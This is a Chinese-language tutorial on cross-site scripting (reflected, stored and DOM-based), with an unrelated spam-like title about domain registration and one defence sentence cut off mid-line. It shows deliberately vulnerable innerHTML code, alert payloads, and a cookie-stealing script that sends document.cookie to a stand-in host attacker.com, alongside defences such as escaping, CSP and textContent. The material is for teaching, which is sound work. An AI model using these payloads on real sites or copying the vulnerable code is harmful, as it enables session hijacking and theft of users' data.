怎么注冊英文網(wǎng)站域名互動營銷的案例及分析
概念
跨站腳本攻擊(XSS),指攻擊者通過篡改網(wǎng)頁,嵌入惡意腳本程序,在用戶瀏覽網(wǎng)頁時,控制用戶瀏覽器進(jìn)行惡意操作。
- XXS的分類
- 反射型XSS
- 存儲型XSS
- DOM型XSS
原理
反射型XSS
接收用戶提交的訪問者的姓名,并返回給瀏覽器。
- 漏洞利用步驟
- 黑客利用服務(wù)器上的XSS漏洞,構(gòu)造惡意的鏈接,發(fā)送給受害者,引誘受害者點(diǎn)擊這個鏈接。
- 受害者點(diǎn)擊該鏈接,向服務(wù)器發(fā)送包含惡意js代碼的請求。
- 服務(wù)器接收受害發(fā)送的請求,沒有對參數(shù)做檢查和過濾,直接將惡意的js代碼響應(yīng)給受害者。
- 受害者收到服務(wù)器響應(yīng)回來的惡意的js代碼,并由瀏覽器解析執(zhí)行,受到攻擊!
一些信息的搜索框,可能存在反射型的XSS。
存儲型XSS
- 存儲型xss的利用步驟
- 黑客利用服務(wù)器上的XSS漏洞,提交惡意的js代碼,服務(wù)器將惡意代碼存儲到數(shù)據(jù)庫;
- 受害者(其他用戶)訪問服務(wù)器的某個頁面,而這個頁碼會使用到數(shù)據(jù)庫的數(shù)據(jù)。服務(wù)器從數(shù)據(jù)庫獲取惡意的js代碼,并返回給受害者;
存儲型XSS漏洞利用條件比較簡單,危害面也比較廣,比反射型XSS更受到關(guān)注!
DOM型XSS
- DOM型的XSS攻擊步驟
- 發(fā)現(xiàn)漏洞:攻擊者定位目標(biāo)頁面中未驗(yàn)證或未轉(zhuǎn)義的用戶輸入源(如 URL 參數(shù)、document.referrer 等)。
- 構(gòu)造惡意輸入:攻擊者通過輸入或 URL 構(gòu)造惡意腳本(如 )。
- 引誘用戶訪問:通過發(fā)送惡意鏈接或嵌入 iframe 等方式誘導(dǎo)用戶訪問目標(biāo)頁面。
- 惡意腳本執(zhí)行:瀏覽器解析頁面時,動態(tài)執(zhí)行注入的腳本,達(dá)到竊取數(shù)據(jù)、偽造行為等目的。
攻擊場景
反射型XSS
- 常見場景:
- 搜索框:搜索關(guān)鍵字未經(jīng)過濾直接顯示在結(jié)果頁面上。
- 錯誤提示頁面:參數(shù)中的值被直接反射到錯誤信息中。
- 登錄頁面:登錄失敗時,直接將用戶輸入顯示在頁面中。
- 攻擊例子:
- 尋找漏洞:一個搜索頁面在 URL 參數(shù)中接收搜索關(guān)鍵詞并直接反射到頁面中,代碼如下:
<!DOCTYPE html>
<html>
<head><title>Search</title>
</head>
<body><h1>Search Results</h1><p>You searched for: <span id="search-query"></span></p><script>let query = new URLSearchParams(window.location.search).get('q');document.getElementById('search-query').innerHTML = query;</script>
</body>
</html>
2. 惡意鏈接:攻擊者構(gòu)造惡意鏈接:
http://example.com/search?q=<script>alert('XSS')</script>
3. 用戶點(diǎn)擊鏈接1. 用戶被誘導(dǎo)點(diǎn)擊惡意鏈接。 2. 頁面執(zhí)行時,<script>alert('XSS')</script> 被插入到 DOM 中并執(zhí)行。
4. 攻擊結(jié)果1. 顯示彈窗 XSS。2. 如果攻擊者進(jìn)一步注入惡意代碼(如竊取 Cookies):(如下腳本),用戶敏感信息可能被泄露。
<script>fetch('http://attacker.com?cookie=' + document.cookie)</script>
- 防御措施
- 輸出轉(zhuǎn)義:對所有反射到頁面中的數(shù)據(jù)進(jìn)行 HTML 轉(zhuǎn)義。
- 輸入驗(yàn)證:限制用戶輸入內(nèi)容的格式。
- 使用 CSP:通過 Content Security Policy 限制腳本執(zhí)行。
- 避免動態(tài) HTML 注入:使用安全的 DOM 操作方法(如 textContent)。
存儲型XSS
- 攻擊場景
- 評論系統(tǒng):用戶提交的評論內(nèi)容被直接存儲并在頁面上顯示。
- 用戶資料頁:攻擊者在個人簽名、昵稱等字段中存儲惡意代碼。
- 反饋系統(tǒng):用戶提交的反饋被管理后臺讀取并直接渲染。
- 消息系統(tǒng):惡意消息被存儲,目標(biāo)用戶查看時觸發(fā)腳本。
- 攻擊例子
- 尋找漏洞:一個博客的評論功能,用戶提交的評論內(nèi)容被存儲在數(shù)據(jù)庫中,并在頁面加載時直接渲染到前端。
- 后端代碼未過濾用戶輸入,將評論直接存入數(shù)據(jù)庫。
- 前端代碼直接輸出評論內(nèi)容到頁面。
- 惡意腳本提交:攻擊者在評論表單中輸入惡意代碼,提交評論后,服務(wù)器將其存儲到數(shù)據(jù)庫中。
<script>fetch('http://attacker.com/?cookie=' + document.cookie)</script>
- 惡意代碼觸發(fā):其他用戶訪問博客頁面時,評論內(nèi)容被加載到頁面中:瀏覽器解析 HTML 時,執(zhí)行了攻擊者的腳本。
<div class="comment"><p><script>fetch('http://attacker.com/?cookie=' + document.cookie)</script></p>
</div>
- 攻擊結(jié)果
- 用戶瀏覽器中的 Cookies 被竊取,可能導(dǎo)致會話劫持。
- 惡意腳本可能進(jìn)一步擴(kuò)展攻擊范圍(如在頁面上插入偽造的登錄表單)。
- 防御措施
- 輸出轉(zhuǎn)義:對輸出到頁面的內(nèi)容進(jìn)行 HTML 轉(zhuǎn)義。例如,將
DOM型XSS
- 攻擊場景
- URL 參數(shù)處理:頁面通過 JavaScript 從 URL 中讀取參數(shù)并直接操作 DOM。
- Hash 值解析:單頁應(yīng)用(SPA)中,直接根據(jù) window.location.hash 更新頁面內(nèi)容。
- 前端渲染模板:動態(tài)將用戶輸入插入到頁面中,而未進(jìn)行任何安全處理。
- 本地存儲或 Cookie:前端代碼直接使用未驗(yàn)證的存儲內(nèi)容操作 DOM。
- 攻擊例子
- 尋找漏洞:某網(wǎng)頁會根據(jù) URL 參數(shù)顯示歡迎消息:
<!DOCTYPE html>
<html>
<body><h1 id="welcome-message"></h1><script>// 從 URL 獲取用戶輸入const user = new URLSearchParams(window.location.search).get('user');// 直接插入到 DOMdocument.getElementById('welcome-message').innerHTML = `Welcome, ${user}!`;</script>
</body>
</html>
- 惡意鏈接:攻擊者構(gòu)造一個惡意 URL:
http://example.com?user=<script>alert('XSS')</script>
- 執(zhí)行過程: 用戶訪問此鏈接,JavaScript 動態(tài)解析 URL 參數(shù),將其內(nèi)容插入到頁面中:
<h1 id="welcome-message">Welcome, <script>alert('XSS')</script>!</h1>
- 瀏覽器解析 DOM 時執(zhí)行了注入的腳本,觸發(fā)彈窗或其他攻擊。
- 攻擊結(jié)果
- 竊取信息:通過惡意代碼讀取 document.cookie 或用戶輸入。
- 偽造操作:利用腳本模擬用戶行為(如提交表單)。
- 傳播攻擊:在受害者環(huán)境中植入更多惡意代碼。
- 防御措施
- 避免直接操作 DOM:使用安全的 DOM 操作方式(如 textContent 而非 innerHTML)。
- 對輸入進(jìn)行驗(yàn)證和轉(zhuǎn)義:
- 驗(yàn)證:限制輸入的內(nèi)容格式。
- 轉(zhuǎn)義:將特殊字符(如 <、>, ")轉(zhuǎn)義為安全的 HTML 實(shí)體。
- 使用安全的前端框架:如 Vue、React,這些框架默認(rèn)對動態(tài)內(nèi)容進(jìn)行轉(zhuǎn)義。
- CSP(內(nèi)容安全策略):通過限制腳本來源減少惡意代碼執(zhí)行的風(fēng)險(xiǎn)。
- 嚴(yán)格的前端代碼審計(jì):確保任何動態(tài)內(nèi)容渲染均經(jīng)過安全處理。
參考文檔
https://blog.csdn.net/qq_51780583/article/details/136960951
https://blog.csdn.net/m0_73531061/article/details/134874571